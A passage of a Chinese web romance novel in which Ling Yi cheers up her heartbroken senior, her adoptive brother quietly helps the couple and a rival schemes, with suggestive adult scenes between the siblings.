“哼!你不说拉倒!我这就去隔壁学堂问问张郎君!他肯定知道!” “哎!别别别!” 李友仁果然急了,一把拉住令颐的衣袖,“你去找他干什么?我知道的不比他少!” 他像是下了很大决心,一咬牙,压低声音快速道:“是宋师兄和祝师姐的事儿,他们俩的事儿被宋家知道了……” 令颐大惊:“这……宋家怎么会知道?” 李友仁叹了口气:“听说是宋师兄想向祝师姐提亲,结果家里勃然大怒,直接把他关起来了,连学都不让上了!” 想起那日的混乱,他脸上犹有余悸,声音都带着愤怒和后怕。 “宋家的人还气势汹汹地找到馆里来,当着那么多先生和同窗的面闹了一场。” “你是没看见,那架势,骂得可难听了!什么‘商门贱户’、‘不知廉耻’、‘被人丢弃的货’,连我这专门练嘴皮子的在旁边听着都插不上话,差点没被他们那唾沫星子淹死!” “最后还是祭酒侯大人亲自出面,好说歹说才把那群凶神恶煞给劝回去。” “唉,祝师姐当时……” 李友仁声音哽住,没再说下去。 但令颐已经能清晰地想象出那个画面,像火一样骄傲的祝师姐,在众目睽睽之下,被那些刻薄恶毒的话语肆意羞辱。 这已经是师姐第二次被人堵在门前这般辱骂了。 令颐手紧紧攥成了拳头,指尖都在发颤。 她再也顾不上其他,猛地站起身:“师姐现在在哪?” 李友仁道:“大概在府里吧。自从那天之后,就再也没来同文馆了,祭酒大人也准了她在家休养。” “我去找她!” 令颐提着裙冲出了学堂,跳上同文馆的马车,催促车夫:“快,去祝府!” 到了祝府,门房和下人都认得这位姜姑娘,见她匆匆赶来,不敢怠慢,连忙将她引了进去。 令颐一路小跑,边跑边急声问引路的婆子:“祝师姐呢?她怎么样了?” 婆子脸上露出愁容:“哎呦姜姑娘您可算来了!我们家大小姐自打从馆里回来,就把自个儿关在屋里,谁也不见!饭食送进去,动不了几口就又原样端出来。” “我们急得不行,可谁说也不开门,就那么枯坐着。” 令颐的心揪得更紧,脚步更快。 婆子将她引至祝颂然的闺房外,轻轻叩门:“大小姐,姜姑娘来看您了。” 里面死寂一片,没有任何回应。 令颐的眼泪在眼眶里打转了,她扑到门边,可怜巴巴地呼唤:“师姐!师姐!我是令颐啊!你开开门,让我看看你好不好?” “师姐,你不想令颐吗?令颐走了好久好久,好不容易回来了,好想好想师姐啊……” 没过一会,里面传来低哑的声音。 “进来吧,令颐。” 令颐立刻推门而入。 房间里的光线昏暗得让人心头发闷,窗户紧闭着,一丝风也透不进来。 她急切的目光扫过,一眼就看到了坐在窗边绣墩上的那个单薄身影。 眼前的祝师姐,几乎让令颐不敢相认。 昔日的祝颂然,言辞锋利,眉宇间自带一股杀伐果决的英气。 而此刻,她穿着一身素净的旧衣,发髻松松挽着,几缕碎发散落颊边,脸色苍白,眼下是浓重的青影。 整个人黯淡无光,全然没有了往日的神采。 第59章 第59章“床上也能主动些就好了…… “师姐……” 令颐鼻尖一酸,走到她身边蹲下,握住她冰凉的手。 “师姐你还好吗?你不要吓令颐啊……” 祝颂然缓缓抬起眼帘。 看着眼前这张眼泪汪汪的小脸,她嘴角向上牵动了一下,试图扯出一个安抚的笑容。 “令颐,你回来了。” “没事,我还好,别担心我。” 这“还好”二字,说得轻飘飘,毫无分量。 令颐看着她这副模样,心疼得无以复加。 她握紧祝颂然的手,急切地问:“师姐,你打算怎么办?就这么算了吗?” “不去……争取了吗?” 她多么多么希望,能在师姐的眼中重新看到那种永不服输的神采。 祝颂然缓缓摇了摇头。 她反手轻轻拍了拍令颐的手背,眼神复杂地看着她。 “令颐,其实关于我和你师兄的事,我一直想谢谢你。” “当初你那样不管不顾地鼓励我,硬是推了我一把。若不是你那份傻乎乎的热忱,我或许永远不敢正视自己的心意。更不会知道,和他在一起的感觉,原来那么 好。” 她的眼中闪过一丝极快的光亮,随即又被更深的灰暗淹没。 “但是……” 祝颂然苦涩一笑。 “我和羡文在一起,是不会被人看好的。你想象不到,我们要承受多大的压力,多少的非议,多少的鄙夷和阻挠。” “那不仅仅是来自宋家,而是来自整个世俗的眼光和规则。” 令颐急了:“师姐,难道你就这样放弃师兄了吗?你们明明那么喜欢对方啊!” “令颐。” 祝颂然轻轻止住了她的话头。 “有很多事,真的不是光靠喜欢就能决定的。” 她垂下眼帘:“我毕竟……名声有瑕,在世人眼里,我就是个麻烦,是个笑柄。” “我可以不在乎唾沫星子淹死人,但他呢?” 她的声音满是自嘲:“我只会是他的负累,是拖他后腿的泥沼。我们若强行在一起,要面对的艰难,足以将任何情意碾碎。” 令颐听着她的话,只觉得一股郁气堵在胸口,闷得她喘不过气。 她觉得这样不对!非常不对! 为什么真心喜欢的人,要被那些不相干的人的眼光,还有那些老掉牙的规矩拆散? 一股强烈的冲动在她小小的胸腔里翻涌。 “才不是这样!” 她眼里是执拗的光芒:“师姐,这些规则,这些礼教,是可以被打破的!必须被打破!” 此话一出,不止祝颂然愕然抬眸,连令颐自己都被吓到了。 这念头如此清晰,甚至带着一种她自己都未察觉的的笃定。 她不知道这冲动从何而来,但她就是无比强烈地希望师兄和师姐能在一起。 仿佛他们的胜利,能为她自己的绝境带来一丝光亮和勇气。 “师姐,总之,那个……你别这样想!” 令颐的声音带着前所未有的坚定,用力握住祝颂然的手,试图将自己的信念传递过去。 “名声算什么呀?世俗的眼光又算什么呀?它们凭什么决定我们快不快乐?你和师兄,是天底下顶顶好的人!你们的心意,才是最最珍贵的宝贝!” 她用力地点着小脑袋,像是在强调一个不容置疑的真理。 “那些闲言碎语,那些老古董的破规矩,都是纸老虎!只要我们……只要我们够勇敢,够坚定,手拉着手不松开,就一定能打破它们!一定能的!” 祝颂然怔怔看着她,神情有些惊讶。 “令颐,你……” 令颐见师姐眼神似乎松动了一点点,立刻抓住机会开导。 “师姐,师姐你想想师兄啊!他现在还被家里关着呢,他肯定没放弃!他肯定在想办法,肯定特别特别想你!也特别特别担心你把自己关起来!” 她摇晃着祝颂然的手臂,语气充满了代入感,仿佛自己就是被关起来的师兄。 “你要是放弃了,把自己关起来不吃不喝,师兄知道了,心都要碎掉啦!他会难过死的,比被关起来还难过一万倍!” 她的话语带有少女特有的真挚感染力,如同投入死水潭的石子,在祝颂然心里激起一圈涟漪。 但她还是缓缓地摇了摇头,声音轻得像叹息。 “令颐,你还小,有些事不像你想的那么简单。” 令颐看到自己费尽口舌,师姐还是摇头,小嘴一瘪,肩膀也微微耷拉下来。 她嘟囔着,带着点委屈和不服气:“可能是我年纪小,不懂那些弯弯绕绕的大道理吧。” “但是……” 她深吸一口气,重新抬起头,眼神明亮而执着。 “师姐,我亲眼看见的,我看见师兄看你时,眼睛里有星星。我看见你看师兄时,嘴角会偷偷翘起来。我知道你们在一起的时候,连空气都是甜的。我知道你们能走到一起,有多么多么不容易!” 她的声音软软糯糯,却带着一种直击人心的力量。 她小脸上是前所未有的认真和恳求:“所以师姐,答应我,别放弃好不好?就算现在很难很难,也先别放弃!我们再想想办法好不好?” 祝颂然看着她眼中那份毫无保留的信任和期盼,冰封的心化开一道裂痕。 曾经的坚韧和不甘,似乎被这个小姑娘笨拙又赤诚的话语,悄悄唤醒了一丝。 她沉默了。 时间仿佛凝固,久到令颐以为又要失败了。 谁知,祝颂然朝她点了一下头。 “好……令颐,我相信你,我不放弃。” “真的?!” 令颐的眼睛瞬间亮了起来,小脸上绽放出笑容。 “是真的。” 看着令颐那毫不掩饰的狂喜,祝颂然露出一丝真实的笑容。 “你说的对,现在就放弃还言之过早。你师姐我,本也不是轻言放弃的性子。” “太好啦太好啦!” 令颐欢呼一声,随即小脸一垮,开始手忙脚乱地翻找自己带来的大包裹。 “光顾着说话了,我给你们带了那么多江南好吃的点心呢,桂花糕,蟹黄酥,云片糕……” “结果倒好,去了同文馆,一个捧场的都没有。师兄被关着吃不到,师姐你又不肯吃,都要浪费啦!” 她说得可怜兮兮,像受了天大的委屈。 “噗嗤……”祝颂然破涕而笑。 这个笑带着泪,是她这些天来第一次真正感觉到轻松。 她伸出手指,轻轻点了点令颐的额头:“你呀……好,师姐吃,这就尝尝我们小令颐千里迢迢带回来的心意。” “嗯嗯!”令颐乖巧点着脑袋。 …… 当晚回到府中,令颐心里装着祝师姐和宋师兄的事,连自己院子都没顾上回,“噔噔噔”直奔颜彻的书房,找哥哥讨个主意。 “哥哥!” 令颐气喘吁吁地冲到他书案前:“哥哥,你快帮帮祝师姐和宋师兄吧!宋家太不讲道理了,把师兄关起来,还去同文馆那样辱骂师姐!” “我方才去看望师姐,她都憔悴得不成样子了。” 她竹筒倒豆子般把今日所见所闻一股脑说了出来。 颜彻搁下笔,抬眸看向她:“哦?令颐想哥哥如何帮?” “哥哥你那么厉害,一定有办法的!” 令颐双手撑在书案边缘,小脸上满是全然的信赖和期待,“能不能……让宋家别为难他们了?” 颜彻沉吟片刻:“这倒有些棘手了。” “此事牵涉儿女私情,更关乎家族颜面。宋家现在正是态度强硬,外人强行插手,名不正言不顺,怕是会适得其反。” 令颐的小脸瞬间垮了下来:“啊……那就没办法了吗?” “办法还是有的。” 颜彻看着她瞬间又亮起来的眸子,慢条斯理地道:“让宋侍郎和宋将军最近公务繁忙些,分身乏术,暂时没太多精力去管束嘉策的私事,倒是不难办到。” 令颐的眼睛“唰”地一下亮如星辰! 她立刻绕过书案扑到颜彻身边,一把抱住他的胳膊摇晃着,声音甜得像蜜糖:“真的吗?谢谢哥哥,哥哥最好了!” 颜彻顺势将她揽近了些,垂眸看着她兴奋的小脸。 指尖轻轻拂开她颊边跑乱的碎发:“那令颐打算如何帮你的师兄师姐?光靠哥哥这点小忙,怕是不够吧?” 令颐歪着小脑袋,认真地想了想。 “嗯……我觉得,光靠外人帮忙还不够。最要紧的,是师兄和师姐他们自己。” 她越说思路越清晰,语速也快了起来。 “他们得自己先坚定心意,不能退缩!然后……然后要一起勇敢地站出来,向宋家的长辈们好好表达清楚他们的决心和真心。让他们看到,他们是认真的,是真心实意要在一起的!只有这样,才有可能慢慢打动宋家,取得理解吧?” 她说完,有些忐忑又期待地看着颜彻,像等待老师点评的学生。 颜彻眼中掠过一丝真正的赞赏。 他抬手,亲昵刮了下令颐的鼻尖:“不错,我们令颐长大了,懂得主动思考,还能想到问题的关键了。” 然而,这温情脉脉的赞许氛围只维持了一瞬。 颜彻揽在她腰间的手臂微微收紧,让她更贴近自己,凤眸染上令人心跳加速的幽暗色泽。 “若是在别的事情上,我们令颐也能这般主动思考,再主动些配合哥哥,就更好了。” 这话题的转折猝不及防,令颐先是一愣,随即反应过来他指的是什么,小脸“轰”地一下红透! 她猛地从颜彻怀里挣脱出来,又羞又恼。 “哥哥!你……我不理你了!” 她羞愤地撂下这句话,捂着自己滚烫的脸颊,飞快跑出了书房。 石榴红斗篷消失在门后,只留下一阵带着馨香的风,还有年轻郎君低沉愉悦的笑声。 第60章 第60章“今晚还有精力想别的,…… 令颐这几日只要得空就去看望祝师姐。 祝颂然原本沉郁的心绪,在看见这个可爱的小姑娘时,心里的寒意一点点融化。 她每日给令颐准备好吃的点心,酥糖,软酪,香糕。 屋内暖融融的,两人围炉而坐,不知不觉便消磨一整日时光。 这种宁静的陪伴,就像是回到了同文馆刚建立的时候。 “师姐,你看,这都是我学习的心得!” 令颐献宝似的捧出她的小册子,上面都是她关于感情的心得。 从陪伴,到拥抱,再到亲吻。 字迹认真,间或还画着些可爱的简笔小人,透着满满的少女心思。 祝颂然目光落在那些认真又可爱的记录上,眼底难掩讶异。 “先前你说你在琢磨这些,还只当是说着玩玩,没想到你这小家伙竟然这么用心。” 令颐弯起眼睛嘿嘿一笑:“哥哥说了,要认真学嘛!” “哥哥?” 祝颂然挑眉:“之前不是说,这是教习嬷嬷教的功课吗?” 令颐意识到说漏嘴,赶紧解释:“是教习嬷嬷教的,但哥哥他……也会经常过问我的功课呀!” “这样啊……” 祝颂然看着她,没再追问。 令颐暗自松了口气,赶紧翻开册子切入正题。 “师姐,你还记得你和宋师兄第一次拥抱、第一次亲亲是什么时候吗?” 祝颂然笑道:“怎会不记得?还不是你这个小家伙在背后推波助澜。” “那时你说想观察别人是怎么拥抱的,便怂恿我去找你师兄。” 她看着令颐那页关于他们的笔记,指尖抚过他们两人拥抱的画像。 想起那个被怂恿着去完成拥抱任务的自己,她忍不住笑出声。 “之前啊,我们俩就像隔着层薄纱,心知肚明却又小心翼翼。大概就是那次被你推了一把之后,那层窗户纸才算是捅破了。” 说着说着,祝颂然清冷的面容如同冰面被春阳照耀,渐渐生动起来。 “后来,相处的次数便多了些,有时分别前还要轻轻抱一下。” “而我,也开始有些……贪恋这种感觉。” 她笑着,笑意慢慢浸染了眼眶,凝聚成一点晶莹的水光。 “还有那次外出讲学,他……亲了我。” 她下意识动了动唇,仿佛那温热的触感仍烙印在唇瓣上。 “我连着好几日都不敢见他,回程的路上也躲着他,真是丢脸。” 令颐想起哥哥第一次亲自己的时候,她也是这样,灭顶的羞意与慌乱让她只想找个地缝钻进去。 “后来呢后来呢?”令颐迫不及待追问。 祝颂然看向她,目光柔软:“后来?后来刚回到同文馆,你就蹦蹦跳跳地跑过来,扯着我的袖子问:‘师姐,师兄是不是亲你啦?’” 两人想起当时情景,忍不住笑作一团。 祝颂然顿了顿,申请有种尘埃落定般的释然。 “好像就是从那时候起,我心底那个结才松开。” 她抬手,用指腹极快地拂过眼角,再抬眼时,眸中水光已敛去。 “令颐,师姐要谢谢你。” “谢我?” 令颐眨巴着大眼睛,一脸懵懂:“我什么都没做呀。” 祝颂然含笑摇头,没说话。 她正要翻看“亲吻”后面的内容,随口问道:“之后呢,最后一部分是关于学习什么的?” 令颐脸上“腾”地红透,赶忙夺过那小册子。 “没、嬷嬷还没教后面的!” 祝颂然疑惑看着她,明明后面写的有字啊。 令颐心脏砰砰直跳。 那后面的内容,实在没法说出口。 * 祝颂然这边的心境渐渐明朗起来。 而令颐在开导师姐的同时,似乎也对册子上的学问有了些新体会。 这日晚间,她早早沐浴更衣,将自己裹进松软馨香的锦被里。 借着床头灯盏柔和的光,她翻看自己那本宝贝小册子。 她正看得入神,门被下人轻轻推开。 侍立在旁的璎珞、绿珠等四个侍女连忙躬身行礼:“大公子安。” 赵福忠挥挥手,示意侍女们可以退下了。 四人道了声“是”,鱼贯而出。 刚掩好门,芳菲就见璎珞和绿珠停住脚步,好奇地朝着门张望。 她心里一咯噔。 糟了,这两个新来的丫头,还不知道大公子和二姑娘的习惯,怕是要生出天大的误会! “咳。”芳菲清了清嗓子,一脸郑重其事。 “那个,你们别多心,二姑娘她自小有倚梦症,夜里容易心悸,非得大公子在身边陪着说说话才能安稳睡着。” 晴雪立刻心领神会,在一旁连连点头补充:“正是正是,两位主子还得商量整理文稿的琐事,所以待得晚些,待他们商量完之后,大公子便就近睡在隔壁屋了。” 她们一边说,一边紧张地观察着璎珞和绿珠的表情,生怕她们想歪了。 璎珞和绿珠对视一眼,彼此都在对方眼中看到了浓浓的困惑。 两位主子在扬州的时候可不止这样啊? 那每晚屋里的动静,还有每日早上二姑娘眼波含水、樱唇微肿,一直娇气喊累的模样,傻子才相信只是哄睡这么简单。 江南风气本就开化些,她们对兄妹这般亲密倒也不觉多么惊世骇俗。 只是觉得,编理由也编个像样点的呀,什么倚梦症、睡隔壁屋…… 深更半夜,一个身量颀长气息迫人的男子,和一个娇柔懵懂的少女,紧闭门户共处一室,还能是为了什么整理书稿? 两人只当是洛安人什么奇怪的习俗说法,立刻作恍然大悟状:“哦~原来是这样啊!明白了明白了!多谢芳菲姐姐提点!” 芳菲和晴雪见她们一副深信不疑的样子,只当糊弄了过去。 门扉隔绝了外界的窥探。 颜彻洗漱完毕,换了身舒适的寝衣,带着一身清冽的水汽走到床边。 “哥哥。” 令颐放下小册子,从被窝里探出小脑袋。 颜彻微湿的墨发随意拢在颈后,几缕碎发垂落额角,侧脸轮廓在柔光下愈发俊美。 令颐看得脸一红,慌忙避开视线。 “哥哥,那个……宋家那边怎么样了?” 颜彻坐在床沿:“放心,宋大人和宋侍郎最近公务缠身,焦头烂额,一时半会儿怕是顾不上管羡文的事了。” 令颐松了口气:“那就好。” 随即,那张明媚的小脸又笼上一层愁绪,秀气的眉尖轻轻蹙起。 “可是,接下来该怎么办呢?他们现在连面都见不上……” “两人现在都处在犹疑中。” 他慢条斯理地说,指尖若有似无地拂过她散落在枕畔的一缕青丝。 “缺的,不过是一个恰当的时机,和一点推他们一把的冲动。” 这亲昵的小动作让令颐心尖一颤。 她仰头看着哥哥近在咫尺的俊美侧颜,昏黄的光线柔和了他轮廓 的锐利,更显优雅从容。 一个盘旋在心底许久的疑问就这么溜了出来。 “哥哥,你这么明白感情里这些弯弯绕绕的事,是不是因为……经历过很多呀?” 她想起商雪湄腕间那条玉麒麟手链,语气不由自主地低落下去,小脑袋也缩了缩。 是啊,哥哥这样成熟、强大,又如此精通引导人心,在那些她不曾参与的岁月里,他身边……是不是曾有过许多许多的功课呢? 颜彻微微侧首,目光精准地捕捉到她眼底那抹一闪而逝的黯淡。 一丝极其危险的笑意,缓缓在他眼眸中晕开。 “哦?看来哥哥最近太纵着你了。” 他俯下身,双手撑在她耳侧,将她困在臂弯中。 目光从她身上扫过。 小姑娘今日没穿那件紫色和淡黄色的玉兔寝衣,而是另一件粉莲寝衣。 粉莲的确衬她,含苞待放,娇俏欲滴。 任君采撷。 他修长的手指抬起,轻轻捏住了她小巧的下巴,迫使她抬起脸。 “唔……”令颐轻微表达抗议。 男子的指腹带着薄茧,摩挲着她下颌柔嫩的肌肤。 令颐的心跳骤然失序,在那极具侵略性的注视下,身体微微发僵。 胸口微微起伏,落在男人的眼里,像极了邀请。 “最近太惯着你,以至于都学会盘问哥哥了,嗯?” 他低笑一声,那笑声里藏着令人战栗的愉悦和某种蓄势待发的危险。 “看来今夜,得让你累得再也想不起这些无关紧要的问题才行。” 他的目光缓缓扫过她起伏的胸口,最后定格在她柔嫩的唇上,带着令人畏惧的掠夺和占有。 * 与此同时,离颜府不远的一处幽静别院中。 烛火透过窗棂,映出昏黄的光晕。 侍女端着晚膳进来,轻轻放在桌上。 商雪湄头也未抬,只淡淡道:“放着吧。” 待侍女放好,她忽然开口,声音里听不出情绪:“我想见颜大人,可否通传?” 侍女垂首,语气恭敬却疏离:“姑娘,大人事务繁忙,此刻不便相见。” 商雪湄沉默片刻,面上无波无澜:“知道了。” 侍女依礼退下。 行至门外廊下,她与另一名守夜的侍女低语,脸上满是不屑。 “这位商姑娘倒真是不知天高地厚,大公子也是她想见就能见的吗?” 另一名侍女点头应和:“嗯,别理她,我们只管别出岔子就行。” “赵总管交代过我们,要看好这个女子。” “知道了姐姐。” 待脚步声远去,商雪湄缓缓起身,走到角落,拿钥匙打开一口不起眼的旧木箱。 她小心翼翼地翻找着,最终取出一本册子,指尖在粗糙的封皮上摩挲片刻,又谨慎地将它藏回箱底最隐秘的夹层,小心锁好。 这本秘账,是她手中最重的砝码,她看得比自己的性命还要紧。 商雪湄垂眸,掩盖住眼中的冷意。 在扬州时,的确是她处心积虑地接近颜彻。 后来,更是刻意曲意逢迎,讨好他那位天真不谙世事的妹妹。 所有的一切,都只为利用他。 她心中燃烧的,是商氏满门的血仇。 为此,她可以不惜一切代价,不择任何手段。 然而,颜彻此人太过深不可测,心思缜密得可怕。 仅仅依附于他,远不足以达成目的,她必须找到能掣肘他的关键。 最好的突破口,似乎就是他那位捧在手心的妹妹。 烛火摇曳,映照着商雪湄沉思的脸庞。 她秀眉紧蹙,指尖无意识地掐入掌心,思索着下一步的对策。 住进这座别院后,她的一举一动都受限制,说是保护她,跟囚禁也没什么两样。 还是得找个机会。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第61章“我温习一下姿势!”…… 初冬的寒意已悄然渗入夜色。 沐浴过后,两人肌肤还带着温热的水汽。 令颐枕在颜彻结实有力的手臂上,微喘的气息尚未平复。 身体却本能地向他滚烫的胸膛深处依偎,汲取那份令人安心的暖意。 然而,想起他方才的教导,心头莫名涌上一丝羞恼的别扭。 凭什么总是哥哥主导啊? 还时不时……强迫她。 这股不甘心的小情绪倏地窜起,她一个翻身跨坐到他身上。 突如其来的动作惊扰了正闭目养神的颜彻。 他眼帘微动,尚未完全睁开,带着一丝慵懒的询问。 令颐却不管不顾,身子向前蹭了蹭。 薄软的衣料再次摩擦出声响。 “令颐,你在做什么?” 令颐撅起嘴瞪他,带着点不服输的娇蛮。 “做哥哥刚才对我做的事,我、我温习一下那些姿势!” 这副又气又羞落在颜彻眼里,原本平复的心绪又心痒了起来。 手扣上她纤细柔软的腰肢,轻而易举地将她整个人揉进自己怀。 令颐的惊呼被他低沉的嗓音覆盖。 “妹妹,别想那么多,其实哥哥也没有什么经验。” 他的气息拂过她敏感的耳廓,带着一丝难得的无奈与纵容。 “而且,有没有经验不是关键,重要的是观察,感受,体验。” “我也在学习,与你一同学习。” 令颐听着听着,忽然意识到他是在回答她方才的疑问。 她心里一暖,紧绷的身体在他怀中慢慢软了下来。 颜彻伸出手指,指腹带着薄茧,轻轻勾起了她胸前贴身佩戴的玉麒麟。 “当时,这是我身上最贵重之物。认你做妹妹,便想着该给份像样的见面礼。” 他的目光从玉麒麟缓缓上移,深深望进她眼底,一字一句道:“仅此而已,别无他意。” 令颐的心尖猛地一颤,暖融融的感觉瞬间弥漫开来,驱散了所有寒意。 她的哥哥,那个在朝堂上杀伐决断,对旁人从不屑多置一词的男人,此刻却如此郑重地向她解释一件旧物的初衷。 心一点点安定下来,甚至漾起一丝甜意。 她将脸埋在他颈窝,蹭了蹭,带着点恃宠而骄的娇憨。 “我知道哥哥很珍视我,我也很在乎哥哥。” “所以,我当时看到商姐姐身上也有这个,心里难过了一下下,哥哥得赔罪!” 颜彻挑眉:“嗯?” “给我做好吃的!” 令颐抬起头,傲娇看着他:“要哥哥亲手做!” 颜彻应得干脆:“好,想吃什么,点便是。” 令颐赶紧把自己想吃的一股脑报了出来。 她眼波流转,忽然想起什么,天真凑近他耳边:“哥哥,我这算不算是吹了枕头风呀?” 颜彻低沉的笑声自胸腔震出。 他轻柔地抚上她细腻的脸颊,指腹缓缓摩挲着她唇瓣上方那颗诱人的小痣。 动作专注,仿佛在描摹一件稀世珍宝。 “傻妹妹,这点程度不叫枕头风。” 摩挲的指尖带着未尽的暧昧和更深的暗示。 令颐脸上登时变得滚烫,赶紧缩进了被子里。 “我要睡觉了,哥哥晚安!” 颜彻笑了笑,也就放过了她。 * 得知宋家放松了对羡文师兄的监视,令颐整个人轻松不少。 这日,她如常带着四个贴身侍女,准备前往同文馆。 刚迈出府门,便瞧见商雪湄一身素色衣裙等在那里,手里还捧着一个精巧的食盒。 “令颐姑娘。” 商雪湄柔柔地唤了一声,眉眼间尽是温婉,盈盈走上前来。 “之前就听闻姑娘最爱这些精致点心,雪湄心里惦记着,特意起了个大早,亲手做了些。手艺粗陋,还望姑娘别嫌弃,赏脸尝尝才好。” 她微微垂首,露出一段白皙脆弱的颈项,姿态放得极低。 食盒里透出好闻的香气,令颐眼睛一亮。 大早上就有好吃的,这也太幸福了吧! 当下便眉眼弯弯地接了过来,声音甜 脆:“谢谢雪湄姐姐!你真好!” 一旁的四个侍女看着这个弱不禁风的女子,都皱起了眉。 尤其是璎珞和玉珠,从扬州回来这一路,这个女子没少在大公子和二姑娘面前卖乖。 她们在知府衙门什么阵仗没见过,这等以退为进故作柔顺的伎俩,实在太不入流了。 商雪湄小心翼翼地试探:“姑娘若是不嫌弃,雪湄想着,可否到姑娘身边来伺候着?也好时时照应,替你分忧解闷。” 她抬起水盈盈的眼眸,满怀期待地看着令颐。 令颐正沉浸在点心的喜悦里,闻言一愣,小脸上掠过一丝茫然。 她身后的四名侍女几乎是同时默契地向前踏出一步,挡在令颐和商雪湄之间。 “姑娘身边人手尽够,伺候得也极是妥帖,不敢劳烦商姑娘费心。” 她们心中雪亮着呢,这哪是想伺候姑娘?分明是醉翁之意不在酒,想借着姑娘的由头去接近大公子呢。 二姑娘这般天真单纯,定是看不透其中关窍,她们得护好了! 商雪湄脸上的笑容僵了僵,随即眼圈泛红。 她目光越过侍女们,望向令颐:“姑娘,雪湄只是真心想对你好,想多陪陪你,别无他意……” 令颐捧着食盒,看看挡在身前的侍女们,又看看泫然欲泣的商雪湄,小脸上果然浮现一丝犹豫。 她粉嫩的唇瓣微微抿起,眼眸里盛满了困惑和不忍,仿佛在说:她看起来好可怜哦… 商雪湄心中一喜,以为这单纯的小丫头终于要心软松口了。 就在她暗自得意之际,令颐开了口:“雪湄姐姐。” “那个,如果你是想着来照顾我,然后就能多见见我哥哥的话,唔……我劝你还是算了吧。” 商雪湄脸上的哀戚瞬间凝固。 令颐继续苦口婆心道:“在你之前,有好多、好多漂亮的姐姐都这么想!她们送来的东西可不止一个食盒,有送花的,送画的,还有送小兔子小鸟儿的!我也很想帮帮她们的,可是……” “可是,哥哥他真的不吃这一套呀!每次我都帮不上忙,还白收了人家好多东西,怪不好意思的。” 这番话她说的十分诚恳,是她用这些年收到成箱成箱贿赂换来的血泪教训。 而且,现在哥哥是她的夫君,她不能这么大方啊。 她歪了歪小脑袋,表情真挚又无辜。 商雪湄僵立在原地,看着这个一脸诚恳的小丫头,准备的一箩筐的话一句也说不出来。 令颐低头看了看怀里散发着诱人香气的食盒,又看了看脸色一阵青一阵白的商雪湄,认真思考了一小会儿。 嗯,点心是无辜的。 反正这些年受贿的零嘴儿都攒了那么多了,也不差雪湄姐姐这一份吧? 于是,她非常自然地抱着食盒,脚步轻快地走向了等候的马车,像是怕她反悔把点心要回去似的。 一边走还不忘回头对僵在原地的商雪湄挥挥小手:“谢谢姐姐的点心!我先走啦!” 商雪湄眼睁睁看着那华丽的马车扬长而去,一向擅长表情管理的她脸色难看得无法形容,精心维持的柔弱姿态荡然无存。 车厢里,令颐抱着食盒,回味着刚才商雪湄姐姐最后那副样子,后知后觉地涌上一丝小小的不安。 她眨巴着大眼睛,看向身边几个努力板着脸、肩膀却可疑地微微耸动的侍女们。 “那个,我这样是不是不太好呀?” 侍女们面上依旧沉静如水,心里却早已为自家姑娘方才那番直戳肺管子的拒绝暗暗喝彩,几乎要憋出内伤。 在她们看来,那商姑娘的心思昭然若揭,就是冲着大公子来的,姑娘拒绝得正好。 只是,她们也没料到,姑娘拒绝的方式如此别致,如此气人于无形。 听到令颐懵懵懂懂的问话,侍女们对视一眼,默契地没有点破。 芳菲含糊地温声应道:“姑娘心善,收下也是不忍拂了商姑娘面子,不必多想。” 令颐更困惑了,不解地轻声嘟囔:“啊?可是她看起来真的很生气呀?” 她完全不明白自己就是那气人的源头。 …… 同文馆内,因宋嘉策与祝颂然之事,空气里丰富凝固了一层看不见的冷意。 原本祝颂然以女子之身成为颜彻亲传弟子,位列同文馆师姐,就引得一拨守旧学子私下颇有微词。 如今出了这样的事,这拨人如同抓住了把柄,言语间夹枪带棒。 此刻,那些压抑的议论如同找到了宣泄口,在角落不停发酵。 令颐正穿过庭院,走向书斋。 一路上,不时有议论声钻入她的耳朵。 “看吧,早说女子入学有违伦常,果然惹出事端,都是些不安分的!” “说得是!同文馆这等清静向学之地,岂容儿女情长搅扰?简直不成体统!” 他们在书堂内公然议论,生怕别人不知道似的。 另一侧,那些与祝颂然交好、真心钦佩其才学胆识的学子们,正被这些议论气得脸色铁青。 他们紧握着拳头,脖颈上的青筋微微跳动,强压着胸中的怒火。 碍于馆规森严,正面冲突虽未爆发,但空气里早已布满了无形的刀光剑影。 整个学馆的气氛绷紧到了极点。 令颐站在书斋门口,将这一切尽收眼底。 小脸皱了起来,心里急得像有只小猫在挠。 她一点儿也不喜欢这种感觉!得想个办法。 她那双灵动的眼眸焦急地在压抑的馆内逡巡着,突然,她的目光精准锁定了角落里的一个人。 李友仁正努力地把自己缩成一团,恨不能钻进砖缝里去。 平日里那个插科打诨,三句话就能把大家逗得前仰后合的活宝,此刻正像只受惊的鹌鹑,恨不得原地隐身。 就是他了! 令颐的眼睛瞬间亮了起来,像抓住了什么宝贝。 第62章 第62章感情的考验 令颐眼珠一转,计上心来。 这些年跟在哥哥身边耳濡目染,她也偷偷学了不少“坏心眼”。 比如,要学会善用别人的长处。 她像只灵巧的小猫,悄没声儿挪了过去,凑到恨不得把自己埋进地缝的李友仁身边。 李友仁疑惑:“令姑娘?” 只见令颐小手一翻,变戏法似的亮出一张东西。 李友仁定睛一看。 是是西市幻术班千金难求的前排戏票,他到处托人买都没有买到! “友仁师兄~” 令颐的声音又甜又软,带着点小狐狸般的狡黠,把票子往他眼前晃了晃。 “帮个小忙呗?你看现在这气氛,闷得人喘不过气了!” 李友仁对上令颐的目光,她小脸上写满了“全靠你拯救啦!” 纯真无邪的大眼睛扑闪扑闪,还带着点可怜巴巴的祈求,疯狂暗示他。 加上那明晃晃的戏票,这谁顶得住啊! “好吧,既然令姑娘都这么说了。” 李友仁认命地叹了口气,脸上却露出了“豁出去了”的悲壮表情。 他深吸一口气,猛地一拍桌子站了起来! “砰!” 这突如其来的动静,瞬间吸引了学堂里所有“斗鸡眼”们的目光。 两拨正用眼神互相砍杀的人都齐刷刷看了过来。 只见李友仁瞬间挺直了腰板,板起脸,下巴微抬,眼神变 得锐利又带着一种慢条斯理的压迫感。 他学着颜彻先生那标志性的、能把人冻住的冷峻腔调,对着空气一本正经地开训。 “看来尔等是是嫌课业太轻,闲得发慌了?正好,同文馆积年的文稿堆积如山,亟需人手整理。明日卯时,书库报到。” 那语调,那笑而不语的危险表情,简直把颜彻的神态拿捏得十分到位。 “噗嗤——” 先是角落里有人实在没憋住,漏出一声笑。 紧接着,低笑声迅速连成一片,最后演变成一发不可收拾的哄堂大笑。 “李兄,你这是吃了几个颜先生才演得这么像啊!” “我方才还以为我眼花了呢!” “我也一恍惚以为是颜先生来了,吓得我汗都落下来了!” 笼罩在学馆上空的低气压乌云,被这阵突如其来的笑声吹散了不少。 一看效果拔群,李友仁瞬间人来疯附体! 